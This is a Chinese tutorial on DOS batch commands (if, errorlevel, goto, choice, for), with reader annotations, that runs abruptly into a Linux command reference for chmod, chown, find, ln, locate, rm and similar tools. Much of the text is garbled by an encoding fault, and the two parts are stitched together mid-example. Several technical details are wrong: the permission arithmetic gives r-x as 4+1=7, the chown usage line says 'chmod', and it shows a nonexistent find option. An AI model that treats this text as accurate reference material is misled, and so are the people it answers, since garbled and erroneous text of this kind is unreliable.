2. string1 未必是参? 它也可以是环境变? 循环变量以及(qing)其他字符串常量或变量
3. command 不是语法所必须? string2 后跟一个空格就可以构成一个有效的命o(h)?br>=============================
2、if [not] exist [路径\]文g?待执行的命o(h)
如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?/p>
? if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文gQ则昄它的内容?/p>
****** willsort ~注 ********
也可以用以下的用法:
if exist command
device 是指DOSpȝ中已加蝲的设? 在win98下通常?
AUX, PRN, CON, NUL
COM1, COM2, COM3, COM4
LPT1, LPT2, LPT3, LPT4
XMSXXXX0, EMMXXXX0
A: B: C: ...,
CLOCK$, CONFIG$, DblBuff$, IFS$HLP$
具体的内容会(x)因硬软g环境的不同而略有差? 使用q些讑֤名称? 需要保证以下三?
1. 该设备确实存?pY件虚拟的讑֤除外)
2. 该设备驱动程序已加蝲(aux, prn{标准设备由pȝ~省定义)
3. 该设备已准备?主要是指a: b: ..., com1..., lpt1...{?
可通过命o(h) mem/d | find "device" /i 来检阅你的系l中所加蝲的设?br>另外, 在DOSpȝ? 讑֤也被认ؓ(f)是一U特D的文g, 而文件也可以UC字符讑֤; 因ؓ(f)讑֤(device)与文仉是用句?handle)来管理的, 句柄是名字, cM于文件名, 只不q句柄不是应用于盘理, 而是应用于内存管理而已, 所谓设备加载也x在内存中为其分配可引用的句柄.
==================================
3、if errorlevel <数字> 待执行的命o(h)
很多DOSE序在运行结束后?x)返回一个数字值用来表C程序运行的l果(或者状?Q通过if errorlevel命o(h)可以判断E序的返回|Ҏ(gu)不同的返回值来军_执行不同的命?q回值必L照从大到的序排列)。如果返回值等于指定的数字Q则条g成立Q运行命令,否则q行下一句?/p>
如if errorlevel 2 goto x2
==== willsort ~注 ===========
q回g大到的序排列不是必须? 而只是执行命令ؓ(f) goto 时的?fn)惯用? 当?set 作ؓ(f)执行命o(h)? 通常?x)从到大顺序排? 比如需返回码|入环境变量, 需使用以下的顺序Ş?
if errorlevel 1 set el=1
if errorlevel 2 set el=2
if errorlevel 3 set el=3
if errorlevel 4 set el=4
if errorlevel 5 set el=5
...
当然, 也可以用以下@环来替代, 原理是一致的:
for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e
更高效简z的用法, 可以参考我写的另一关于获?errorlevel 的文?/p>
出现此种现象的原因是, if errorlevel 比较q回码的判断条gq{于, 而是大于{于. ׃ goto 的蟩转特? 由小到大排序?x)导致在较小的返回码处就跛_; 而由?set命o(h)?"重复" 赋值特? 由大到小排序?x)导致较(yu)的q回?"覆盖" 较大的返回码.
另外, 虽然 if errorlevel=<数字> command 也是有效的命令行, 但也只是 command.com 解释命o(h)行时?= 作ؓ(f)命o(h)行切分符而忽略掉|了
===========================
二、goto 批处理文件运行到q里蟩到goto所指定的标?标号即labelQ标L(fng):后跟标准字符串来定义)处,goto语句一般与if配合使用Q根据不同的条g来执行不同的命o(h)l?/p>
?
goto end
:end
echo this is the end
标号?:字符?来定义,标号所在行不被执行?/p>
==== willsort ~注
label 常被译ؓ(f) "标签" , 但是qƈ不具有广泛的U定?
goto ?: 联用可实现执行中途的跌{, 再结?if 可实现执行过E的条g分支, 多个 if 卛_实现命o(h)的分l? cM C ?switch case l构或?Basic 中的 select case l构, 大规模且l构化的命o(h)分组卛_实现高语言中的函数功能. 以下是批处理和C/Basic在语法结构上的对?
Batch C / Basic
goto&: goto&:
goto&:&if if{}&else{} / if&elseif&endif
goto&:&if... switch&case / select case
goto&:&if&set&envar... function() / function(),sub()
==================================
三、choice 使用此命令可以让用户输入一个字W(用于选择Q,从而根据用L(fng)选择q回不同的errorlevelQ然后于if errorlevel配合Q根据用L(fng)选择q行不同的命令?/p>
注意Qchoice命o(h)为DOS或者Windowspȝ提供的外部命令,不同版本的choice命o(h)语法?x)稍有不同,L(fng)choice /?查看用法?/p>
choice的命令语法(该语法ؓ(f)Windows 2003中choice命o(h)的语法,其它版本的choice的命令语法与此大同小异)Q?/p>
CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
描述:
该工具允许用户从选择列表选择一个项目ƈq回所选项目的索引?/p>
参数列表:
/C choices 指定要创建的选项列表。默认列表是 "YN"?/p>
/N 在提C符中隐藏选项列表。提C前面的消息得到昄Q?br>选项依旧处于启用状态?/p>
/CS 允许选择分大写的选项。在默认情况下,q个工具
是不分大写的?/p>
/T timeout 做出默认选择之前Q暂停的U数。可接受的值是?0
?9999。如果指定了 0Q就不会(x)有暂停,默认选项
?x)得到选择?/p>
/D choice ?nnnn U之后指定默认选项。字W必d?/C ?br>Ҏ(gu)定的一l选择? 同时Q必ȝ /T 指定 nnnn?/p>
/M text 指定提示之前要显C的消息。如果没有指定,工具?br>昄提示?/p>
/? 昄帮助消息?/p>
注意:
ERRORLEVEL 环境变量被设|ؓ(f)从选择集选择的键索引。列出的W一个?br>择返?1Q第二个选择q回 2Q等{。如果用h的键不是有效的选择Q?br>该工具会(x)发出警告响声。如果该工具到错误状态,它会(x)q回 255 ?br>ERRORLEVEL 倹{如果用h Ctrl+Break ?Ctrl+C 键,该工具会(x)q回 0
?ERRORLEVEL 倹{在一个批E序中?ERRORLEVEL 参数Ӟ参数降
序排列?/p>
CZ:
CHOICE /?
CHOICE /C YNC /M "认h YQ否h NQ或者取消请?C?
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "选项 1 请选择 aQ选项 2 请选择 b?
CHOICE /C ab /N /M "选项 1 请选择 aQ选项 2 请选择 b?
==== willsort ~注 ===============================
我列出win98下choice的用法帮? 已资区分
Waits for the user to choose one of a set of choices.
{待用户选择一l待选字W中的一?/p>
CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]
/C[:]choices Specifies allowable keys. Default is YN
指定允许的按?待选字W?, 默认为YN
/N Do not display choices and ? at end of prompt string.
不显C提C字W串中的问号和待选字W?br>/S Treat choice keys as case sensitive.
处理待选字W时大小写敏?br>/T[:]c,nn Default choice to c after nn seconds
?nn U后默认选择 c
text Prompt string to display
要显C的提示字符?br>ERRORLEVEL is set to offset of key user presses in choices.
ERRORLEVEL 被设|ؓ(f)用户键入的字W在待选字W中的偏Ud?br>====================================
如果我运行命令:(x)CHOICE /C YNC /M "认h YQ否h NQ或者取消请?C?
屏幕上会(x)昄Q?br>认h YQ否h NQ或者取消请?C?[Y,N,C]?
例:(x)test.bat的内容如下(注意Q用if errorlevel判断q回值时Q要按返回g高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此批处理q行后,显C?defrag,mem,end[D,M,E]?" Q用户可选择d m e Q然后if语句Ҏ(gu)用户的选择作出判断Qd表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ批处理q行l束?/p>
四、for 循环命o(h)Q只要条件符合,它将多次执行同一命o(h)?/p>
语法Q?br>对一l文件中的每一个文件执行某个特定命令?/p>
FOR %%variable IN (set) DO command [command-parameters]
%%variable 指定一个单一字母可替换的参数?br>(set) 指定一个或一l文件。可以用通配W?br>command 指定Ҏ(gu)个文件执行的命o(h)?br>command-parameters
为特定命令指定参数或命o(h)行开兟?/p>
例如一个批处理文g中有一?
for %%c in (*.bat *.txt) do type %%c
则该命o(h)行会(x)昄当前目录下所有以bat和txt为扩展名的文件的内容?/p>
==== willsort ~注 =====================================================
需要指出的? ?)中的字符串ƈ非单个或多个文g名时, 它将单纯被当作字W串替换, q个Ҏ(gu)再加上()中可以嵌入多个字W串的特? 很明?for 可以被看作一U遍历型循环.
当然, ?nt/2000/xp/2003 pd的命令行环境? for 被赋予了更多的特? 使之可以分析命o(h)输出或者文件中的字W串, 也有很多开兌用于扩展了文件替换功?
========================================================================
批处理示?/p>
1. IF-EXIST
1) 首先用记事本在C:\建立一个test1.bat批处理文Ӟ文g内容如下Q?br>@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist
然后q行它:(x)
C:\>TEST1.BAT
如果C:\存在AUTOEXEC.BAT文gQ那么它的内容就?x)被昄出来Q如果不存在Q批处理׃(x)提示你该文g不存在?/p>
2) 接着再徏立一个test2.bat文gQ内容如下:(x)
@ECHO OFF
IF EXIST \%1 TYPE \%1
IF NOT EXIST \%1 ECHO \%1 does not exist
执行:
C:\>TEST2 AUTOEXEC.BAT
该命令运行结果同上?/p>
说明Q?br>(1) IF EXIST 是用来测试文件是否存在的Q格式ؓ(f)
IF EXIST [路径+文g名] 命o(h)
(2) test2.bat文g中的%1是参敎ͼDOS允许传?个批参数信息l批处理文gQ分别ؓ(f)%1~%9(%0表示test2命o(h)本n) Q这有点象编E中的实参和形参的关p,%1是Ş参,AUTOEXEC.BAT是实参?/p>
==== willsort ~注 =====================================================
DOS没有 "允许传?个批参数信息" 的限? 参数的个数只?x)受到命令行长度和所调用命o(h)处理能力的限? 但是, 我们在批处理E序? 在同一时刻只能同时引用10个参? 因ؓ(f) DOS只给Z %0~%9q十个参数引用符.
========================================================================
3) 更进一步的Q徏立一个名为TEST3.BAT的文Ӟ内容如下Q?br>@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN
如果q行Q?br>C:\>TEST3 A B C
屏幕上会(x)昄:
XIAO
TIAN
XIN
如果q行Q?br>C:\>TEST3 A B
屏幕上会(x)昄
XIAO
TIAN
在这个命令执行过E中QDOS?x)将一个空字符串指定给参数%3?/p>
2、IF-ERRORLEVEL
建立TEST4.BATQ内容如下:(x)
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 1 ECHO 文g拯p|
IF ERRORLEVEL 0 ECHO 成功拯文g
然后执行文g:
C:\>TEST4
如果文g拯成功Q屏q就?x)显C?成功拯文g"Q否则就?x)显C?文g拯p|"?/p>
IF ERRORLEVEL 是用来测试它的上一个DOS命o(h)的返回值的Q注意只是上一个命令的q回|而且q回值必M照从大到次序顺序判断?br>因此下面的批处理文g是错误的Q?/p>
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 0 ECHO 成功拯文g
IF ERRORLEVEL 1 ECHO 未找到拷贝文?br>IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拯操作
IF ERRORLEVEL 3 ECHO 预置错误L文g拯操作
IF ERRORLEVEL 4 ECHO 拯q程中写盘错?/p>
无论拯是否成功Q后面的Q?/p>
未找到拷贝文?br>用户通过ctrl-c中止拯操作
预置错误L文g拯操作
拯q程中写盘错?/p>
都将昄出来?/p>
以下是几个常用命o(h)的返回值及(qing)其代表的意义Q?/p>
backup
0 备䆾成功
1 未找到备份文?br>2 文g׃n冲突L备䆾完成
3 用户用ctrl-c中止备䆾
4 ׃致命的错误备䆾操作中止
diskcomp
0 盘比较相?br>1 盘比较不?br>2 用户通过ctrl-c中止比较操作
3 ׃致命的错误比较操作中止
4 预置错误中止比较
diskcopy
0 盘拷贝操作成?br>1 非致命盘?写错
2 用户通过ctrl-cl束拯操作
3 因致命的处理错误使盘拯中止
4 预置错误L拯操作
format
0 格式化成?br>3 用户通过ctrl-c中止格式化处?br>4 因致命的处理错误使格式化中止
5 在提C?proceed with formatQy/nQ?"下用户键入nl束
xcopy
0 成功拯文g
1 未找到拷贝文?br>2 用户通过ctrl-c中止拯操作
4 预置错误L文g拯操作
5 拯q程中写盘错?/p>
==== willsort ~注 =====================================================
chkdsk
0 未找到错?br>255 扑ֈ一个或多个错误
choice
0 用户按下ctrl+c/break
1 用户按下W一个键
255 到命o(h)行中的错误条?br>其它 用户按下的有效字W在列表中的位置
defrag
0 片压羃成功
1 出现内部错误
2 盘上没有空。要q行DEFRAGQ至要有一个空?br>3 用户用Ctrl+C退ZDEFRAG
4 出现一般性错?br>5 DEFRAG在读时遇到错误
6 DEFRAG在写时遇到错误
7 分配I间有错
8 内存?br>9 没有_I间来压~磁盘碎?/p>
deltree
0 成功地删除一个目?/p>
diskcomp
0 两盘相同
1 发现不同
2 按CTRL+C l止了比?br>3 出现严重错误
4 出现初始化错?/p>
find
0 查找成功且至找C一个匹配的字符?br>1 查找成功但没扑ֈ匚w的字W串
2 查找中出C错误
keyb
0 键盘定义文g装入成功
1 使用了非法的键盘代码Q字W集或语?br>2 键盘定义文g坏或未找?br>4 键盘、监视器通讯时出?br>5 要求的字W集未准备好
move
0 成功地移动了指定的文?br>1 发生了错?/p>
msav /N
86 查到了病?/p>
replace
0 REPLACE成功地替换或加入了文?br>1 MS-DOS版本和REPLACE不兼?br>2 REPLACE找不到源文g
3 REPLACE找不到源路径或目标\?br>5 不能存取要替换的文g
8 内存不够无法执行REPLACE
11 命o(h)行句法错?/p>
restore
0 RESTORE成功地恢复了文g
1 RESTORE找不到要恢复的文?br>3 用户按CTRL+Cl止恢复q程
4 RESTORE因错误而终?/p>
scandisk
0 ScanDisk在它查的驱动器上未检到M错误
1 ׃命o(h)行的语法不对Q不能运行ScanDisk
2 ׃内存用尽或发生内部错误,ScanDisk意外l止
3 用户让ScanDisk中途退?br>4 q行盘面扫描Ӟ用户军_提前退?br>254 ScanDisk扑ֈ盘故障q已全部校正
255 ScanDisk扑ֈ盘故障Q但未能全部校正
setver
0 SETVER成功地完成了d
1 用户指定了一个无效的命o(h)开?br>2 用户指定了一个非法的文g?br>3 没有_的系l内存来q行命o(h)
4 用户指定了一个非法的版本h?br>5 SETVER在版本表中未扑ֈ指定的项
6 SETVER未找到SETVER.EXE文g
7 用户指定了一个非法的驱动?br>8 用户指定了太多的命o(h)行参?br>9 SETVER到丢失了命令行参数
10 在读SETVER.EXE文gӞSETVER到发生错误
11 SETVER.EXE文g损坏
12 指定的SETVER.EXE文g不支持版本表
13 版本表中没有_的空间存放新的项
14 在写SETVER.EXE文g时SETVER到发生错误
========================================================================
3、IF STRING1 == STRING2
建立TEST5.BATQ文件内容如下:(x)
@echo off
IF "%1" == "A" FORMAT A:
执行Q?br>C:\>TEST5 A
屏幕上就出现是否A:盘格式化的内宏V?/p>
注意Qؓ(f)了防止参Cؓ(f)I的情况Q一般会(x)字W串用双引号Q或者其它符P注意不能使用保留W号Q括h?br>如:(x)if [%1]==[A] 或?if %1*==A*
5、GOTO
建立TEST6.BATQ文件内容如下:(x)
@ECHO OFF
IF EXIST C:\AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:\AUTOEXEC.BAT D:\
:_DONE
注意Q?br>(1) 标号前是ASCII字符的冒?:"Q冒号与标号之间不能有空根{?br>(2) 标号的命名规则与文g名的命名规则相同?br>(3) DOS支持最长八位字W的标号Q当无法区别两个标号Ӟ蟩转至最q的一个标受?/p>
==== willsort ~注 =====================================================
1)标号也称作标{?label)
2)标签不能以大多数的非字母数字字符开? 而文件名中则可以使用很多
3)当无法区别两个标{时, 蟩转至位置最靠前的标{?br>========================================================================
6、FOR
建立C:\TEST7.BATQ文件内容如下:(x)
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
q行Q?br>C:\>TEST7
执行以后Q屏q上?x)将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内Ҏ(gu)C出来(不包括隐藏文Ӟ?/p>
范例Q?br />cat -n textfile1 > textfile2 ?textfile1 的档案内容加上行号后输入 textfile2 q个档案?br />cat -b textfile1 textfile2 >> textfile3 ?textfile1 ?textfile2 的档案内容加上行PI白行不加)之后内定w加到 textfile3
名称 : cd
使用权限 : 所有用?/p>
使用方式 : cd [dirName]
说明 : 变换工作目录?dirName?其中 dirName 表示法可为绝对\径或相对路径。若目录名称省略Q则变换至用者的 home directory (也就是刚 login 时所在的目录)?/p>
另外Q?~" 也表CZؓ(f) home directory 的意思,"." 则是表示目前所在的目录Q?.." 则表C目前目录位|的上一层目录?/p>
范例 : 跛_ /usr/bin/ :
cd /usr/bin
跛_自己?home directory :
cd ~
跛_目前目录的上上两?:
cd ../..
指o(h)名称 : chmod
使用权限 : 所有用?/p>
使用方式 : chmod [-cfvR] [--help] [--version] mode file...
说明 : Linux/Unix 的档案存取权限分ZU?: 档案拥有者、群l、其他。利?chmod 可以藉以控制档案如何被他人所存取?/p>
把计 :
mode : 权限讑֮字串Q格式如?: [ugoa...][[+-=][rwxX]...][,...]Q其中u 表示该档案的拥有者,g 表示与该档案的拥有者属于同一个群?group)者,o 表示其他以外的hQa 表示q三者皆是?br />+ 表示增加权限? 表示取消权限? 表示唯一讑֮权限?br />r 表示可读取,w 表示可写入,x 表示可执行,X 表示只有当该档案是个子目录或者该档案已经被设定过为可执行?br />-c : 若该档案权限实已经更改Q才昄其更改动?br />-f : 若该档案权限无法被更改也不要昄错误讯息
-v : 昄权限变更的详l资?br />-R : 对目前目录下的所有档案与子目录进行相同的权限变更(即以递回的方式逐个变更)
--help : 昄辅助说明
--version : 昄版本
范例 :档?file1.txt 设ؓ(f)所有h皆可d :
chmod ugo+r file1.txt
档?file1.txt 设ؓ(f)所有h皆可d :
chmod a+r file1.txt
档?file1.txt ?file2.txt 设ؓ(f)该档案拥有者,与其所属同一个群体者可写入Q但其他以外的h则不可写?:
chmod ug+w,o-w file1.txt file2.txt
?ex1.py 讑֮为只有该档案拥有者可以执?:
chmod u+x ex1.py
目前目录下的所有档案与子目录皆设ؓ(f)M人可d :
chmod -R a+r *
此外chmod也可以用数字来表C权限如 chmod 777 file
语法为:(x)chmod abc file
其中a,b,c各ؓ(f)一个数字,分别表示User、Group、及(qing)Other的权限?/p>
r=4Qw=2Qx=1
若要rwx属性则4+2+1=7Q?br />若要rw-属性则4+2=6Q?br />若要r-x属性则4+1=7?/p>
范例Q?br />chmod a=rwx file
?br />chmod 777 file
效果相同
chmod ug=rwx,o=x file
?br />chmod 771 file
效果相同
若用chmod 4755 filename可此程式具有root的权?/p>
指o(h)名称 : chown
使用权限 : root
使用方式 : chmod [-cfhvR] [--help] [--version] user[:group] file...
说明 : Linux/Unix 是多人多工作业系l,所有的档案皆有拥有者。利?chown 可以档案的拥有者加以改变。一般来_(d)q个指o(h)只有是由pȝ理?root)所使用Q一般用者没有权限可以改变别人的档案拥有者,也没有权限可以自q档案拥有者改设ؓ(f)别h。只有系l管理?root)才有q样的权限?/p>
把计 :
user : 新的档案拥有者的使用?IDgroup : 新的档案拥有者的使用者群?group)-c : 若该档案拥有者确实已l更改,才显C其更改动作-f : 若该档案拥有者无法被更改也不要显C错误讯?h : 只对于连l?link)q行变更Q而非?link 真正指向的档?v : 昄拥有者变更的详细资料-R : 对目前目录下的所有档案与子目录进行相同的拥有者变?即以递回的方式逐个变更)--help : 昄辅助说明--version : 昄版本
范例 :
档?file1.txt 的拥有者设?users 体的用?jessie :
chown jessie:users file1.txt
目前目录下的所有档案与子目录的拥有者皆设ؓ(f) users 体的用?lamport :
chmod -R lamport:users *
名称Qcp
使用权限Q所有用?/p>
使用方式Q?/p>
cp [options] source dest
cp [options] source... directory
说明Q将一个档案拷贝至另一档案Q或数个档案拷贝至另一目录?/p>
把计
-a 可能将档案状态、权限等资料都照原状予以复制?br />-r ?source 中含有目录名Q则目录下之档案亦皆依序拷贝至目的地?br />-f 若目的地已经有相同档名的档案存在Q则在复制前先予以删除再行复制?br />范例Q?br />档?aaa 复制(已存?Qƈ命名?bbb :
cp aaa bbb
所有的C语言E式拯?Finished 子目录中 :
cp *.c Finished
名称Qcut
使用权限Q所有用?/p>
用法Qcut -cnum1-num2 filename
说明Q显C每行从开头算?num1 ?num2 的文字?/p>
范例Q?/p>
shell>> cat example
test2
this is test1
shell>> cut -c0-6 example ## print 开头算起前 6 个字?br />test2
this i
名称 : find
用法 : find
使用说明 :
档案系l内W合 expression 的档案列出来。你可以指要档案的名U、类别、时间、大、权限等不同资讯的组合,只有完全相符的才?x)被列出来?/p>
find Ҏ(gu)下列规则判断 path ?expressionQ在命o(h)列上W一?- ( ) , ! 之前的部份ؓ(f) pathQ之后的?expression。如?path 是空字串则用目前\径,如果 expression 是空字串则?-print 为预?expression
expression 中可使用的选项有二三十个之多,在此只介l最常用的部份?/p>
-mount, -xdev : 只检查和指定目录在同一个档案系l下的档案,避免列出其它档案pȝ中的档案
-amin n : 在过?n 分钟内被dq?br />-anewer file : 比档?file 更晚被读取过的档?br />-atime n : 在过?n 天过dq的档案
-cmin n : 在过?n 分钟内被修改q?br />-cnewer file :比档?file 更新的档?br />-ctime n : 在过?n 天过修改q的档案
-empty : I的档案-gid n or -group name : gid ?n 或是 group 名称?name
-ipath p, -path p : 路径名称W合 p 的档案,ipath ?x)忽略大?br />-name name, -iname name : 档案名称W合 name 的档案。iname ?x)忽略大?br />-size n : 档案大小 ?n 单位Qb 代表 512 位元l的区块Qc 表示字元敎ͼk 表示 kilo bytesQw 是二个位元组?type c : 档案cd?c 的档案?br />d: 目录
c: 字型装置档案
b: 区块装置档案
p: 具名贮列
f: 一般档?br />l: W号q结
s: socket
-pid n : process id ?n 的档?/p>
你可以?( ) 运式分隔Qƈ使用下列q算?br />exp1 -and exp2
! expr
-not expr
exp1 -or exp2
exp1, exp2
范例:
目前目录及(qing)其子目录下所有g伸档名是 c 的档案列出来?br /># find . -name "*.c"
目前目录其其下子目录中所有一般档案列?br /># find . -ftype f
目前目录及(qing)其子目录下所有最q?20 分钟内更新过的档案列?br /># find . -ctime -20
名称Qless
使用权限Q所有用?/p>
使用方式Q?/p>
less [Option] filename
说明Q?br />less 的作用与 more 十分怼Q都可以用来览文字档案的内容,不同的是 less 允许使用者往回卷?br />以浏览已l看q的部䆾Q同时因?less q未在一开始就d整个档案Q因此在遇上大型档案的开启时Q会(x)比一般的文书~辑??vi)来的快速?/p>
范例Q?/p>
指o(h)名称 : ln
使用权限 : 所有用?/p>
使用方式 : ln [options] source distQ其?option 的格式ؓ(f) :
[-bdfinsvF] [-S backup-suffix] [-V {numbered,existing,simple}]
[--help] [--version] [--]
说明 : Linux/Unix 档案pȝ中,有所谓的q结(link)Q我们可以将其视为档案的别名Q而连l又可分ZU?: 连l?hard link)与Yq结(symbolic link)Q硬q结的意思是一个档案可以有多个名称Q而Yq结的方式则是生一个特D的档案Q该档案的内Ҏ(gu)指向另一个档案的位置。硬q结是存在同一个档案系l中Q而Yq结却可以跨不同的档案pȝ?br />ln source dist 是生一个连l?dist)?sourceQ至于用硬q结或Y铄则由参数军_?/p>
不论是硬q结或Y铄都不?x)将原本的档案复制一份,只会(x)占用非常量的磁空间?/p>
-f : 铄时先与 dist 同档名的档案删除-d : 允许pȝ理者硬铄自己的目?i : 在删除与 dist 同档名的档案时先q行询问-n : 在进行Yq结Ӟ?dist 视ؓ(f)一般的档案-s : q行软链l?symbolic link)-v : 在连l之前显C其档名-b : 在铄时会(x)被覆写或删除的档案进行备?S SUFFIX : 备份的档案都加?SUFFIX 的字?V METHOD : 指定备䆾的方?-help : 昄辅助说明--version : 昄版本
范例 :
档?yy 产生一?symbolic link : zz
ln -s yy zz
档?yy 产生一?hard link : zz
ln yy xx
名称Qlocate
使用权限Q所有用?br />使用方式Q?locate [-q] [-d ] [--database=]
locate [-r ] [--regexp=]
locate [-qv] [-o ] [--output=]
locate [-e ] [-f ] <[-l ] [-c]
<[-U ] [-u]>
locate [-Vh] [--version] [--help]
说明Q?br />locate 让用者可以很快速的搜寻档案pȝ内是否有指定的档案。其Ҏ(gu)是先建立一个包括系l内所有档案名U及(qing)路径的资料库Q之后当L时就只需查询q个资料库,而不必实际深入档案系l之中了?/p>
在一般的 distribution 之中Q资料库的徏立都被放?contab 中自动执行。一般用者在使用时只要用
# locate your_file_name
的型式就可以了?参数Q?br />-u
-U
建立资料库,-u ?x)由根目录开始,-U 则可以指定开始的位置?/p>
-e
?br />排除在寻扄范围之外?/p>
-l
如果 ?1Q则启动安全模式。在安全模式下,使用者不?x)看到权限无法看到的档案。这?x)始速度减慢Q因?locate 必须臛_际的档案pȝ中取得档案的权限资料?/p>
-f
特定的档案pȝ排除在外Q例如我们没有到理要?proc 档案pȝ中的档案攑֜资料库中?/p>
-q
安静模式Q不?x)显CZQ何错误讯息?/p>
-n
臛_昄 个输出?/p>
-r
使用正规q算?做寻扄条g?/p>
-o
指定资料库存的名U?/p>
-d
指定资料库的路径
-h
昄辅助讯息
-v
昄更多的讯?/p>
-V
昄E式的版本讯?范例Q?/p>
locate chdrv : L所有叫 chdrv 的档?br />locate -n 100 a.out : L所有叫 a.out 的档案,但最多只昄 100 ?br />locate -u : 建立资料?/p>
名称 : ls
使用权限 : 所有用?/p>
使用方式 : ls [-alrtAFR] [name...]
说明 : 昄指定工作目录下之内容Q列出目前工作目录所含之档案?qing)子目??/p>
-a 昄所有档案及(qing)目录 (ls内定档案名或目录名U开头ؓ(f)"."的视为隐藏档Q不?x)列?
-l 除档案名U外Q亦档案型态、权限、拥有者、档案大等资讯详细列出
-r 档案以相反ơ序昄(原定依英文字母次?
-t 档案依建立旉之先后次序列?br />-A ?-a Q但不列?"." (目前目录) ?".." (父目?
-F 在列出的档案名称后加一W号Q例如可执行档则?"*", 目录则加 "/"
-R 若目录下有档案,则以下之档案亦皆依序列出
范例Q?br />列出目前工作目录下所有名U是 s 开头的档案Q愈新的排愈后面 :
ls -ltr s*
?/bin 目录以下所有目录及(qing)档案详细资料列出 :
ls -lR /bin
列出目前工作目录下所有档案及(qing)目录Q目录于名称后加 "/", 可执行档于名U后?"*" :
ls -AF
名称Qmore
使用权限Q所有用?br />使用方式Qmore [-dlfpcsu] [-num] [+/pattern] [+linenum] [fileNames..]
说明Q类?cat Q不q会(x)以一一늚昄方便使用者逐页阅读Q而最基本的指令就是按I白键(spaceQ就往下一|C,?b 键就?x)往回(backQ一|C,而且q有搜寻字串的功能(?vi 怼Q,使用中的说明文gQ请?h ?br />参数Q?num 一ơ显C的行数
-d 提示使用者,在画面下Ҏ(gu)C?[Press space to continue, q to quit.] Q如果用者按错键Q则?x)显C?[Press h for instructions.] 而不是哔?br />-l 取消遇见Ҏ(gu)字元 ^LQ送纸字元Q时?x)暂停的功?br />-f 计算行数Ӟ以实际上的行敎ͼ而非自动换行q后的行敎ͼ有些单行字数太长的会(x)被扩展ؓ(f)两行或两行以上)
-p 不以卷动的方式显C每一,而是先清除萤q后再显C内?br />-c ?-p 怼Q不同的是先昄内容再清除其他旧资料
-s 当遇到有q箋两行以上的空白行Q就代换Z行的I白?br />-u 不显CZ引号 Q根据环境变?TERM 指定?terminal 而有所不同Q?br />+/ 在每个档案显C前搜寻该字ԌpatternQ,然后从该字串之后开始显C?br />+num 从第 num 行开始显C?br />fileNames Ʋ显C内容的档案Q可为复C?br />范例Q?br />more -s testfile 逐页昄 testfile 之档案内容,如有q箋两行以上I白行则以一行空白行昄?br />more +20 testfile 从第 20 行开始显C?testfile 之档案内宏V?/p>
名称Qmv
使用权限Q所有用?/p>
使用方式Q?/p>
mv [options] source dest
mv [options] source... directory
说明Q将一个档案移臛_一档案Q或数个档案移臛_一目录?br />参数Q?i 若目的地已有同名档案Q则先询问是否覆盖旧档?/p>
范例Q?/p>
档?aaa 更名?bbb :
mv aaa bbb
所有的C语言E式U至 Finished 子目录中 :
mv -i *.c
名称Qrm
使用权限Q所有用?/p>
使用方式Qrm [options] name...
说明Q删除档案及(qing)目录?/p>
把计
-i 删除前逐一询问认?br />-f 即原档案属性设为唯读,亦直接删除,无需逐一认?br />-r 目录及(qing)以下之档案亦逐一删除?br />范例Q?br />删除所有C语言E式档;删除前逐一询问认 :
rm -i *.c
?Finished 子目录及(qing)子目录中所有档案删?:
rm -r Finished
名称Qrmdir
使用权限Q于目前目录有适当权限的所有用?/p>
使用方式Q?rmdir [-p] dirName
说明Q?删除I的目录?/p>
参数Q?-p 是当子目录被删除后它也成ؓ(f)I目录的话,则顺便一q删除?/p>
范例Q?/p>
工作目录下Q名?AAA 的子目录删除 :
rmdir AAA
在工作目录下?BBB 目录中,删除名ؓ(f) Test 的子目录。若 Test 删除后,BBB 目录成ؓ(f)I目录,?BBB 亦予删除?br />rmdir -p BBB/Test
名称Qsplit
使用权限Q所有用?/p>
使用方式Qsplit [OPTION] [INPUT [PREFIX]]
说明Q?/p>
一个档案分割成C。而从 INPUT 分割输出成固定大的档案Q其档名依序?PREFIXaa, PREFIXab...QPREFIX 预设gؓ(f) ****x。若没有 INPUT 档或?****-Q则从标准输入读q资料?/p>
匡兜
-b, --bytes=SIZE
SIZE gؓ(f)每一输出档案的大,单位?byte?br />-C, --line-bytes=SIZE
每一输出档中Q单行的最?byte 数?br />-l, --lines=NUMBER
NUMBER gؓ(f)每一输出档的列数大小?br />-NUMBER
?-l NUMBER 相同?br />--verbose
于每个输出档被开启前Q列印出侦错资讯到标准错误输出?br />--help
昄辅助资讯然后d?br />--version
列出版本资讯然后d?br />SIZE 可加入单? b 代表 512Q?k 代表 1KQ?m 代表 1 Meg?/p>
范例Q?/p>
PostgresSQL 大型资料库备份与回存Q?/p>
?Postgres 允许表格大过你系l档案的最大容量,所以要表?dump 到单一的档案可能会(x)有问题,使用 splitq行档案分割?/p>
% pg_dump dbname | split -b 1m - filename.dump.
重新载入
% createdb dbname
% cat filename.dump.* | pgsql dbname
名称Qtouch
使用权限Q所有用?/p>
使用方式Q?br />touch [-acfm]
[-r reference-file] [--file=reference-file]
[-t MMDDhhmm[[CC]YY][.ss]]
[-d time] [--date=time] [--time={atime,access,use,mtime,modify}]
[--no-create] [--help] [--version]
file1 [file2 ...]
说明Q?br />touch 指o(h)改变档案的时间记录?ls -l 可以昄档案的时间记录?/p>
